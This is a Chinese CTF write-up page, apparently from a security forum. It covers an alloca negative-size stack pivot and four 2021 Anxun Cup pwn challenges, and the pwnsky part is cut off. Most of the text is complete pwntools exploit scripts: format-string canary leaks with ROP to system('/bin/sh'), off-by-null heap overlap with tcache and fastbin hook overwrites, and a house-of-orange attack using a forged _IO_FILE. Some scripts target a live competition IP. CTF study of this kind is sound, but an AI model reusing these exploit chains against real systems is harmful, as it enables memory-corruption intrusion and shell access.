看汇编码可以看到这是`alloca`开辟栈空间时进行了对齐，重点要留意下对`esp`进行操作的代码。正常来说，这里分配栈空间的逻辑是没问题，`alloca`后`esp`被抬高，开辟出一段栈空间给`buffer`，但是程序使用`__isoc99_scanf("%d",
&size);`读入`size`，如果我们输入的是一个负数呢？那么`esp`就会降低，分配的栈空间地址会与程序已使用的栈空间重合。
我们要如何利用这个漏洞呢，继续看一下`main`函数结尾部分的汇编
.text:08048663 var_4 = dword ptr -4
.text:08048824 call check_canary
.text:08048829 add esp, 10h
.text:0804882C mov eax, 0
.text:08048831 mov ecx, [ebp+var_4]
.text:08048834 leave
.text:08048835 lea esp, [ecx-4]
.text:08048838 retn
可以看到程序ret前，`ecx-4`的值赋给`esp`，而`ecx`的值等于`ebp-4`，那么只要我们能控制`ebp-4`，就能控制程序流。程序有三个输入点：
1. 输入buff的size
2. 输入g_canary
3. 输入buff的内容
由于我们输入的`size`是负数，实际上`fgets(buffer, size,
stdin)`是无法读入字符，那么唯一可控的输入点只有`g_canary`，那么目标很明确了，就是`ebp-4=g_canary`。`g_canary`是存在bss段的变量，需要在程序里面找一下哪里有将`g_canary`写到栈中的操作，定位到`check_canary`的开头：
.text:080485E1 check_canary proc near ; CODE XREF: main+1C1↓p
.text:080485E1
.text:080485E1 var_14 = dword ptr -14h
.text:080485E1 var_10 = dword ptr -10h
.text:080485E1 var_C = dword ptr -0Ch
.text:080485E1 arg_0 = dword ptr 8
.text:080485E1
.text:080485E1 ; __unwind {
.text:080485E1 000 push ebp ; esp_c -= 4
.text:080485E2 004 mov ebp, esp ; ebp_c = esp_c - 4
.text:080485E4 004 sub esp, 18h
.text:080485E7 01C mov eax, ds:g_canary
.text:080485EC 01C xor eax, [ebp+arg_0]
.text:080485EF 01C mov [ebp+var_C], eax
.text:080485F2 01C mov eax, [ebp+arg_0]
.text:080485F5 01C mov [ebp+var_10], eax
.text:080485F8 01C mov eax, ds:g_canary
.text:080485FD 01C mov [ebp+var_14], eax ; ebp_c-0x14 = g_canary
留意第10行汇编，这里有一个将`g_canary`写到栈中的操作，现在如何计算输入的`size`是本题解题的关键所在。我们从这里根据`esp`和`ebp`的值开始反推出`size`的值。
* 根据赋值的代码，有`ebp_c-0x14 = g_canary`
* `ebp`的值由`esp`赋给，那么有`ebp_c = esp_c - 4`
* 开头`push ebp`，那么`esp`的值为：`esp_c -= 4`
回到`main`函数中继续分析
.text:0804880E ; 29: check_canary(*(_DWORD *)&buffer[size]);
.text:0804880E add esp, 10h
.text:08048811 mov eax, ds:buffer
.text:08048816 mov edx, ds:size
.text:0804881C add eax, edx
.text:0804881E mov eax, [eax]
.text:08048820 sub esp, 0Ch ; esp_m2 - 0x10 = esp_m1
.text:08048823 push eax
.text:08048824 call check_canary ; esp_m1 - 4 = esp_c
* `call`指令会`push IP`，所以有`esp_m1 - 4 = esp_c`
* `esp`减了12，然后push了一次，有`esp_m2 - 0x10 = esp_m1`
.text:08048742 ; 19: v3 = alloca(16 * ((size + 34) / 0x10u));
.text:08048742 add esp, 10h
.text:08048745 mov eax, ds:size
.text:0804874A add eax, 4
.text:0804874D lea edx, [eax+0Fh]
.text:08048750 mov eax, 10h
.text:08048755 sub eax, 1
.text:08048758 add eax, edx
.text:0804875A mov ecx, 10h
.text:0804875F mov edx, 0
.text:08048764 div ecx
.text:08048766 imul eax, 10h
.text:08048769 sub esp, eax ; esp_m2 = esp_m3 - (size+34)
* 然后到`alloca`处，`eax`为`16 * ((size + 34) / 0x10u)`，可以暂不考虑对齐问题，得到`esp_m2 = esp_m3 - (size+34)`
.text:08048663 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048663 public main
.text:08048663 main proc near ; DATA XREF: _start+17↑o
.text:08048663
.text:08048663 var_4 = dword ptr -4
.text:08048663 argc = dword ptr 8
.text:08048663 argv = dword ptr 0Ch
.text:08048663 envp = dword ptr 10h
.text:08048663
.text:08048663 ; __unwind {
.text:08048663 lea ecx, [esp+4]
.text:08048667 and esp, 0FFFFFFF0h
.text:0804866A push dword ptr [ecx-4]
.text:0804866D push ebp
.text:0804866E mov ebp, esp ; ebp_m = esp_m3 + 8
.text:08048670 push ecx
.text:08048671 sub esp, 4
.text:08048674 ; 5: puts("- BOF(buffer overflow) is very easy to prevent. here is how to.n");
.text:08048674 sub esp, 0Ch ; esp_m3
* 中间都是一些简单函数调用，`esp`并没有改变，直接回到`main`函数开头，得到`ebp_m = esp_m3 + 8`
汇总一下以上得到的等式
ebp_c - 0x14 = g_canary
ebp_c = esp_c - 4
esp_c -= 4
esp_m1 - 4 = esp_c
esp_m2 - 0x10 = esp_m1
esp_m2 = esp_m3 - (size+34)
ebp_m = esp_m3 + 8
ebp_m - 4 = g_canary
拿张草稿纸算一下，不难算出`size=-82`，由于之前为了计算方便，没考虑对齐问题，其实`size`为`-67`到`-82`都可以，只要`(size+34)/16=-3`即可。
## 动态调试
`size`输入`-82`，`g_canary`输入`305419896(0x12345678)`，在`main`函数返回前下一个断点看看效果。
可以看到我们已经可以顺利的控制`exc`的值（也就是`ebp-4`），这意味着我们能够控制`esp`的值。现在需要考虑如何getshell了。出题人很贴心地在程序里预留了一个叫`callme`的后门，但是程序里面没有存在指向这个函数的变量，而我们只能够控制`esp`并不能直接控制`eip`。这里需要用到一个环境变量的小技巧，程序运行时的环境变量会存在栈中，可以用以下代维测试一下：
from pwn import *
p = process('./alloca',env = {"test": 'kirakira'})
gdb.attach(p)
p.sendline("-67")
p.sendline(str(0x12345678))
p.interactive()
如图所示，输入环境变量确实在栈中，那么思路就很简单了，只有把`callme`的地址大量填充到环境变量中，然后控制`esp`跳到存在环境变量的内存段即可getshell。
## 完整exp
总结一下思路：
1. `size`输入一个负数
2. 程序运行时加入大量的`callme`地址作为环境变量
3. `g_canary`随便填一个栈地址（因为地址随机化，在栈空间范围内随便填一个就行了）
from pwn import *
callme = p32(0x80485ab)
e = {str(i): callme * 30000 for i in range(10)}
p = process("/home/alloca/alloca", env = e)
p.sendline("-82")
p.sendline("-4718592") # 0xffb80000
p.interactive()
由于stack空间地址随机，需要多试几次才能成功。
## 总结
虽然最后exp十分简单，但中间分析过程还是很费力的，特别是计算`size`的值的部分，解题的几个小技巧也很值得学习。 | 社区文章 |
# 2021安洵杯PWN WP详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
做了2021安洵杯线上赛题目，总体来说题目有简单有难的，难易程度合适，这次就做了pwn，把四道pwn题思路总结一下，重点是没几个人做出来的最后一道pwnsky，赛后做了复现。
## PWN -> stack (stack overflow ,fmt)
### 题目分析
保护全开，存在栈溢出，格式化字符串漏洞
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
read(0, buf, 0x100uLL); // stackoverflow
printf(buf); // fmt
puts("--+--");
read(0, buf, 0x100uLL);
printf(buf);
return 0;
}
存在system、binsh：
int useless()
{
char v1; // [rsp+Fh] [rbp-1h]
return system((const char *)v1);
}
### 利用
1. 格式化字符串泄露canary、processbaseaddr
2. 栈溢出劫持控制流
### exp
# -*- coding: UTF-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.108.195.119', 20113)
# libc = ELF('./libc-2.31.so')
#io = process('./ezstack')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
sla('请输入你的队伍名称:','SN-天虞')
sla('请输入你的id或名字:','一梦不醒')
useless = 0xA8c
pop_rdi = 0x0000000000000b03
binsh = 0x00B24
sl('%17$p@%11$p')
process = int(ru('@')[-14:],16) - 0x9dc
print hex(process)
canary = int(rn(18),16)
print hex(canary)
pay = 'a'* 0x18 + p64(canary) + p64(0xdeadbeef)+ p64(process + pop_rdi) + p64(process + binsh) + p64(process + useless)
sla('--+--\n',pay)
irt()
## PWN -> noleak (offbynull,tcache bypass)
### 题目分析
保护全开，ida查看理清程序逻辑，特别是分析结构体，add和delete功能和chunk的idx索引怎么变化，然后就是edit是否存在漏洞，功能分析:
1. 输入加密str进入程序，简单的亦或为`N0_py_1n_tHe_ct7`
2. 添加chunk，输入idx和size，在bss段有chunks结构体，最多10个chunk,没有判断chunk是否为null，可以重复添加
3. 删除chunk，不存在uaf
4. 编辑chunk，存在offbynull
5. 查看chunk，输出内容
add函数：
unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
v2 = 0;
size[0] = 0;
puts("Index?");
__isoc99_scanf("%d", &v2);
if ( v2 > 9 )
{
puts("wrong and get out!");
exit(0);
}
puts("Size?");
__isoc99_scanf("%d", size);
v0 = v2;
(&chunks)[2 * v0] = malloc(size[0]);
if ( !(&chunks)[2 * v2] )
{
puts("error!");
exit(0);
}
LODWORD((&chunks)[2 * v2 + 1]) = size[0];
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
chunk结构体：
struct{
char* ptr;
int size;
}
编辑函数：
unsigned __int64 edit()
{
int v0; // eax
unsigned int v2; // [rsp+Ch] [rbp-14h] BYREF
_QWORD *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Index?");
__isoc99_scanf("%d", &v2);
if ( v2 > 9 )
exit(0);
if ( !(&chunks)[2 * v2] )
exit(0);
v3 = (&chunks)[2 * v2];
puts("content:");
v0 = read(0, (&chunks)[2 * v2], LODWORD((&chunks)[2 * v2 + 1]));
*((_BYTE *)v3 + v0) = 0; //offbynull
return __readfsqword(0x28u) ^ v4;
}
chunk的idx索引和数组索引一致。
当时做题只看了编译程序的ubuntu版本是16.04，就以为是libc-2.23，结果本地都打通了远程不行，后来才发现题目提供的libc是2.27的，eimo了，一下提供两个环境下的利用方式：
**libc-2.23:**
1. unsorted bin leak libcaddr
2. make chunk merge up to unsorted bin
3. fastbin attack to malloc mallochook
4. onegadget to getshell
**libc-2.27（tcache）:**
利用方式1：
填满tcache bypass tcache
1. fill up the tcache and make chunk merge up by offbynull
2. unsortedbin leak libcaddr
3. add chunk to make chunk overlap
4. tcache attack to malloc freehook
5. malloc chunk to tigger system
利用方式2：
tcache只有64个单链表结构，每个链表最多7个chunk，64位机器上以16字节递增，从24到1032字节，所以tcache只能是no-large
chunk，我们可以申请large chunk绕过tcache
1. malloc large chunk and make chunk merge up by offbynull
2. malloc chunk to leak libc addr
3. fastbin attack to malloc freehook
4. modify freehook to system
5. free chunk to tigger system
### exp
exp1 libc-2.23:
# -*- coding: UTF-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('47.108.195.119', 20182)
# libc = ELF('./libc-2.31.so')
io = process('noleak1')
libc = ELF('/glibc/2.23/64/lib/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size):
sl('1')
sla('Index?\n',str(idx))
sla('Size?\n',str(size))
def show(idx):
sl('2')
sla('Index?\n',str(idx))
def edit(idx,content):
sl('3')
sla('Index?\n',str(idx))
sa('content:\n',content)
def delete(idx):
sl('4')
sla('Index?\n',str(idx))
enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31,
0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]
s = ''
for i in range(4):
for j in range(4):
s += chr(enc[4*j+i])
print s
#sla('请输入你的队伍名称:','SN-天虞')
#sla('请输入你的id或名字:','一梦不醒')
sl('N0_py_1n_tHe_ct7')
add(0,0xf0)
add(1,0x50)
delete(0)
add(0,0xf0)
show(0)
leak = uu64(rl())
lg('leak')
libcbase = leak - 0x3c3b78
lg('libcbase')
mallochook = libcbase + libc.symbols['__malloc_hook']
lg('mallochook')
system = libcbase + libc.symbols['system']
lg('system')
add(2,0xf0)
add(3,0x68)
add(4,0x68)
add(5,0x178)
add(6,0x10)
delete(2)
delete(3) # free to fastbin
edit(4,'a'*0x60+p64(0x100+0x70*2)) # offbynull
edit(5,'a'*0xf0+p64(0)+p64(0x81)) # fake chunk lastremainder
delete(5) # chunk Merge up to unsorted bin
add(5,0xf0+0x70) # malloc unsorted bin
edit(5,'a'*0xf0+p64(0)+p64(0x70)+p64(mallochook-0x23)) # modify chunk 3 fd to mallochook
# fastbin atttack
add(2,0x68)
add(3,0x68)
one = [0x45206,0x4525a,0xef9f4,0xf0897]
edit(3,'a'*0x13+p64(libcbase + one[2]))
#dbg()
add(2,0xf0)
irt()
exp2 libc-2.27：
# -*- coding: UTF-8 -*- from pwn import *
#context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.108.195.119', 20182)
# libc = ELF('./libc-2.31.so')
#io = process('noleak2')
libc = ELF('./libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size):
sl('1')
sla('Index?\n',str(idx))
sla('Size?\n',str(size))
def show(idx):
sl('2')
sla('Index?\n',str(idx))
def edit(idx,content):
sl('3')
sla('Index?\n',str(idx))
sa('content:\n',content)
def delete(idx):
sl('4')
sla('Index?\n',str(idx))
enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31,
0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]
s = ''
for i in range(4):
for j in range(4):
s += chr(enc[4*j+i])
print s
sla('请输入你的队伍名称:','SN-天虞')
sla('请输入你的id或名字:','一梦不醒')
sl('N0_py_1n_tHe_ct7')
for i in range(8):
add(i,0xf0)
add(8,0x178)
add(9,0x178)
for i in range(7): # 1-7
delete(i+1)
edit(8,b'a'*0x170+p64(0x980)) #off by null
edit(9,b'a'*0xf0+p64(0)+p64(0x81))
delete(0) #unsigned bin
delete(9) #chunk merge up to unsorted bin
for i in range(7):
add(i,0xf0)
add(0,0xf0)
show(0) # 0 1-8
leak = l64()
lg('leak')
#dbg()
libc_base = leak - 0x3b0230
lg('libc_base')
free_hook=libc_base+libc.sym['__free_hook']
lg('free_hook')
malloc_hook=libc_base+libc.sym['__malloc_hook']
lg('malloc_hook')
add(9,0xf0)
delete(6) # 6==9
#gdb.attach(p)
edit(9,p64(free_hook-0x8))
#dbg()
add(6,0xf0) # 6
add(9,0xf0) # 10
#add1(0xf0)
#gdb.attach(p)
edit(9,"/bin/sh\x00"+p64(libc_base+libc.sym['system']))
delete(9)
irt()
exp3 libc-2.27:
from pwn import *
p=process('./noleak2')
#p=remote('47.108.195.119',20182)
context.terminal = ["/usr/bin/tmux","sp","-h"]
context.log_level='debug'
elf=ELF('./noleak2')
libc=ELF('libc.so.6')
#gdb.attach(p,'b *$rebase(0xfc9)')
#p.sendline('n03tAck')
#p.sendline('1u1u')
p.sendlineafter('please input a str:','\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37')
def menu(id):
p.sendlineafter('>',str(id))
def add(id,size):
menu(1)
p.sendlineafter('Index?\n',str(id))
p.sendlineafter('Size?\n',str(size))
def show(id):
menu(2)
p.sendlineafter('Index?\n',str(id))
def edit(id,content):
menu(3)
p.sendlineafter('Index?\n',str(id))
p.sendlineafter('content:\n',str(content))
def delete(id):
menu(4)
p.sendlineafter('Index?\n',str(id))
add(0,0x450)
add(1,0x18)
add(2,0x4f0)
add(3,0x18)
delete(0)
gdb.attach(p)
edit(1,'a'*0x10+p64(0x480))
delete(2)
add(0,0x450)
show(1)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
malloc_hook=leak+0x7f3223b9bc30-0x7f3223b9bca0
success('malloc_hook:'+hex(malloc_hook))
libc_base=malloc_hook-libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))
add(2,0x18)
delete(2)
edit(1,p64(libc_base+libc.sym['__free_hook']))
add(4,0x10)
add(5,0x10)
edit(5,p64(libc_base+libc.sym['system']))
add(6,0x30)
edit(6,'/bin/sh\x00')
delete(6)
#gdb.attach(p)
p.interactive()
### 总结
这个题目做之前看程序是2.23的，结果做完了发现libc是2.27的，直接崩溃，又换了2.27的利用方式，最后看官方wp直接申请大chunk直接泄露地址，比我的要简洁些，所以就有了这三个版本的exp，题目中规中矩，常规题目。此次第一次遇见远程环境要输入队名和用户名，拿到shell后获取的是sky_token,拿token去换flag，为了防止py也是想尽了办法呀，哈哈。
## PWN -> ezheap (heap overflow,no free,house of orange,IOfile)
### 题目分析
保护全开，环境libc-2.23，ida查看代码，
unsigned __int64 chng_wpn()
{
int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !*((_QWORD *)&name + 1) )
{
puts("you have no weapon");
exit(1);
}
puts("size of it");
__isoc99_scanf(&unk_E94, &size);
puts("name");
read(0, *((void **)&name + 1), size); // heap overflow
putchar(10);
return __readfsqword(0x28u) ^ v2;
}
gift函数输出heap地址。
分析程序功能：
1. 输出heap地址
2. add，申请空间，写入name，heap指针在bss段
3. edit，堆溢出，只能编辑当前申请的chunk，不能编辑之前的
4. show，输出当前chunk
### 利用
这种没有free函数的就用house of orange的思想，通过溢出将top chunk改小，申请比top chunk大的chunk的时候就会将top
chunk释放入相应的bin目录，系统再次为topchunk申请内存，达到free效果，可以接着house of
force申请大块内存到特定地址，从而申请到特定内存，去打freehook，malloc_hook;有时候申请大内存会报错，可以利用攻击IO_LIST_ALL制造fake
io_file_plus结构体，覆盖flag为binsh，io_overflow_t为system来劫持控制流。[iofile详细分析](https://blog.csdn.net/qq_39153421/article/details/115327308)
1. Overwrite top chunk size through heap overflow
2. free top chunk to unsortedbin to leak libc
3. fake io _file_Plus structure attack IO_ list_all
4. Call the add function to trigger iofile
### exp
# -*- coding: UTF-8 -*- from pwn import *
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('47.108.195.119', 20182)
# libc = ELF('./libc-2.31.so')
io = process('./pwn')
libc = ELF('/glibc/2.23/64/lib/libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size):
sl('1')
sla('Index?\n',str(idx))
sla('Size?\n',str(size))
def show(idx):
sl('2')
sla('Index?\n',str(idx))
def edit(idx,content):
sl('3')
sla('Index?\n',str(idx))
sa('content:\n',content)
def delete(idx):
sl('4')
sla('Index?\n',str(idx))
#sla('请输入你的队伍名称:','SN-天虞')
#sla('请输入你的id或名字:','一梦不醒')
def menu(index):
sla("choice :",str(index))
def create(size,content):
menu(1)
sla("of it\n",str(size))
sa("ame?\n", content)
def show():
menu(3)
def edit(size,content):
menu(2)
sla("of it\n",str(size))
sa("ame\n", content)
heap = int(rl(),16) - 0x10
lg('heap')
create(0x20,"aaaaa\n")
edit(0x30,b"a"*0x28+p64(0xfb1)) # house of orange
create(0xff0,"bbbb\n")
create(0x48,"\n")
show()
ru("is : ")
info=uu64(rn(6))
lg("info")
libc_address= info - 0x3c410a
lg('libc_address')
malloc_hook = libc_address + libc.symbols['__malloc_hook']
lg('malloc_hook')
_IO_list_all_addr = libc_address + libc.sym['_IO_list_all']
lg('_IO_list_all_addr')
system_addr = libc_address + libc.sym['system']
lg('system_addr')
vtable_addr = heap + 0x178
fake = "/bin/sh\x00"+p64(0x61)
fake += p64(0xDEADBEEF)+p64(_IO_list_all_addr-0x10)
fake +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
fake = fake.ljust(0xc0,"\x00")
fake += p64(0)*3+p64(vtable_addr) # mode <=0
payload = 'a'*0x40
payload += fake
payload += 'a'*0x10
payload += p64(system_addr)
edit(len(payload),payload)
#dbg()
ru(": ")
sl('1')
irt()
### 总结
这个题目用到的知识点很老了，但是我也是很早学的iofile，长时间不用忘记了，比赛的时候只想到用house of
force，结果在申请大的chunk的时候报错，一直就僵在那里了，这里house of
orange也可以结合iofile进行利用，本人早在刚入门pwn的时候总结过iofile相关的东西，结果长时间不用都又还给别人了，eimo了。
## PWN -> pwnsky
### 题目分析
题目附件给了一个lua.bin、pwn和一些依赖库，看到这就知道这个是个lua、c互调的程序，增加直观上的题目难度，题目程序保护全开，没有找到程序的编译版本，但是可以看到libc版本为2.31。首先题目给出的是lua.bin文件，为lua的字节码，首先需要反编译lua.bin，得到lua源码。
### 反编译lua
开源工具有两个，一个是luadec（c写的），一个是unluac（java写的），两个都可以。不过unluac支持最新5.4.x的版本反编译。
`java -jar unluac.jar lua.bin > lua.lua`反编译后：
function Pwnsky(name)
local self = {}
local ServerInit = function()
self.name = name
self.account = 0
self.password = 0
self.is_login = 0
self.init = init
self.print_logo = print_logo
end
function self.info()
print("Server Info:")
local time = os.date("%c")
print("Server name: " .. self.name)
print("Date time: " .. time)
if self.is_login == 0 then
print("Account status: Not login")
else
print("Account status: Logined")
print("Account : " .. self.account)
end
end
function self.login()
print("pwnsky cloud cache login")
io.write("account:")
self.account = io.read("*number")
io.write("password:")
self.password = io.read("*number")
self.is_login = login(self.account, self.password)
if self.is_login == 1 then
print("login succeeded!")
else
print("login failed!")
end
end
function self.run()
while true do
io.write("$")
local ops = io.read("*l")
if ops == "login" then
self.login()
elseif ops == "info" then
self.info()
elseif ops == "add" then
if self.is_login == 1 then
print("size?")
size = io.read("*number")
idx = add_data(size)
print("Data index: " .. idx)
else
print("login first...")
end
elseif ops == "del" then
if self.is_login == 1 then
print("index?")
index = io.read("*number")
delete_data(index)
else
print("login first...")
end
elseif ops == "get" then
if self.is_login == 1 then
print("index?")
index = io.read("*number")
get_data(index)
else
print("login first...")
end
elseif ops == "help" then
print("commands:")
print("login")
print("info")
print("add")
print("del")
print("get")
print("exit")
elseif ops == "exit" then
print("exit")
break
end
end
end
ServerInit()
return self
end
function main()
alarm(60)
local pwn = Pwnsky("pwnsky cloud cache 1.0")
pwn:print_logo()
pwn:info()
pwn:init()
pwn:run()
end
可以看到程序的主函数逻辑是用lua写的，调用的相关函数是在pwn程序实现的，pwn程序启动首先加载lua.bin解析lua程序，
__int64 __fastcall sub_1DE9(__int64 a1, __int64 a2)
{
__int64 v3; // [rsp+0h] [rbp-10h]
v3 = luaL_newstate(a1, a2);
luaL_openlibs(v3);
if ( (unsigned int)luaL_loadfilex(v3, "lua.bin", 0LL)
|| (unsigned int)lua_pcallk(v3, 0LL, 0xFFFFFFFFLL, 0LL, 0LL, 0LL) )
{
puts("n");
}
lua_pushcclosure(v3, sub_1C51, 0LL);
lua_setglobal(v3, "print_logo");
lua_pushcclosure(v3, init_0, 0LL);
lua_setglobal(v3, "init");
lua_pushcclosure(v3, login, 0LL);
lua_setglobal(v3, "login");
lua_pushcclosure(v3, alarm_0, 0LL);
lua_setglobal(v3, "alarm");
lua_pushcclosure(v3, add_data, 0LL);
lua_setglobal(v3, "add_data");
lua_pushcclosure(v3, delete, 0LL);
lua_setglobal(v3, "delete_data");
lua_pushcclosure(v3, get_data, 0LL);
lua_setglobal(v3, "get_data");
return v3;
### 解题准备(patchelf,去除chroot)
结合给出的start文件(hint是比赛过程中放的)：
sudo chroot ./file/ ./pwn
hint1: 不要太依赖于F5哦。 hint2: 解密算法就是加密算法。
hint3: 需要在sub_17BB和sub_143A函数去除花指令，使其F5能够正确反编译。
可以看到程序需要chroot到当前文件夹，那么问题来了，有chroot
怎么用gdb怎么调试呢？太菜的我选择了将程序`lua.bin`改成`./lua.bin`,然后把依赖库放到/lib相应目录下，其实就一个lua的依赖库。我本地也是2.31的，这样就不用chroot了，可以直接运行。如果有大佬知道怎么不用patchelf路径就能gdb调试，请分享一下偶。
### 去除花指令
根据提示知道sub_17BB和sub_143A存在花指令，我说半天找不到关键函数。sub_17BB在有漏洞的地方加了花指令，使得ida反编译找看不出漏洞代码；在sub_143A函数加了花指令，使得ida分析login函数逻辑失败，查看代码发现sub_17BB函数有一场数据块可能是关键代码：
.text:00000000000019AC mov eax, 0
.text:00000000000019B1 call _printf
.text:00000000000019B6 lea r8, loc_19BD <------------花指令----------->
.text:00000000000019BD
.text:00000000000019BD loc_19BD: ; DATA XREF: sub_17BB+1FB↑o
.text:00000000000019BD push r8
.text:00000000000019BF add [rsp+38h+var_38], 0Dh
.text:00000000000019C4 retn
.text:00000000000019C4 ; --------------------------------------------------------------------------- .text:00000000000019C5 db 0E9h, 23h, 0C5h
.text:00000000000019C8 dq 3DAF058D480000h, 48D26348E0558B00h, 0C08400B60FD0048Bh
.text:00000000000019C8 dq 3D97058D482A75h, 48D26348E0558B00h, 48F0458B48D0148Bh <----------异常数据块-------->
.text:00000000000019C8 dq 4800000001BAD001h, 0E800000000BFC689h, 1B8FFFFF724h
.text:0000000000001A10 db 0
.text:0000000000001A11 ; --------------------------------------------------------------------------- .text:0000000000001A11
.text:0000000000001A11 loc_1A11: ; CODE XREF: sub_17BB+50↑j
可以看到异常数据块前有一些异常代码，将下一条命令地址赋给r8，然后入栈，rsp向下移动0xd，return，相当于啥没做，把0x19b6到0x19c4代码nop掉，还原逻辑如下：
.text:000000000000199F 48 89 C6 mov rsi, rax
.text:00000000000019A2 48 8D 05 03 17 00 00 lea rax, aGiftLlx ; "gift: %llx\n"
.text:00000000000019A9 48 89 C7 mov rdi, rax ; format
.text:00000000000019AC B8 00 00 00 00 mov eax, 0
.text:00000000000019B1 E8 1A F7 FF FF call _printf
.text:00000000000019B6 90 nop ; Keypatch filled range [0x19B6:0x19C4] (15 bytes), replaced:
.text:00000000000019B6 ; lea r8, loc_19BD
.text:00000000000019B6 ; push r8
.text:00000000000019B6 ; add [rsp+38h+var_38], 0Dh
.text:00000000000019B6 ; retn
.text:00000000000019B7 90 nop
.text:00000000000019B8 90 nop
.text:00000000000019B9 90 nop
.text:00000000000019BA 90 nop
.text:00000000000019BB 90 nop
.text:00000000000019BC 90 nop
.text:00000000000019BD 90 nop
.text:00000000000019BE 90 nop
.text:00000000000019BF 90 nop
.text:00000000000019C0 90 nop
.text:00000000000019C1 90 nop
.text:00000000000019C2 90 nop
.text:00000000000019C3 90 nop
.text:00000000000019C4 90 nop
.text:00000000000019C5 90 nop ; Keypatch modified this from:
.text:00000000000019C5 ; jmp near ptr 0DEEDh
.text:00000000000019C5 ; Keypatch padded NOP to next boundary: 4 bytes
.text:00000000000019C6 90 nop
.text:00000000000019C7 90 nop
.text:00000000000019C8 90 nop
.text:00000000000019C9 90 nop
.text:00000000000019CA 48 8D 05 AF 3D 00 00 lea rax, qword_5780
.text:00000000000019D1 8B 55 E0 mov edx, [rbp+var_20]
.text:00000000000019D4 48 63 D2 movsxd rdx, edx
.text:00000000000019D7 48 8B 04 D0 mov rax, [rax+rdx*8]
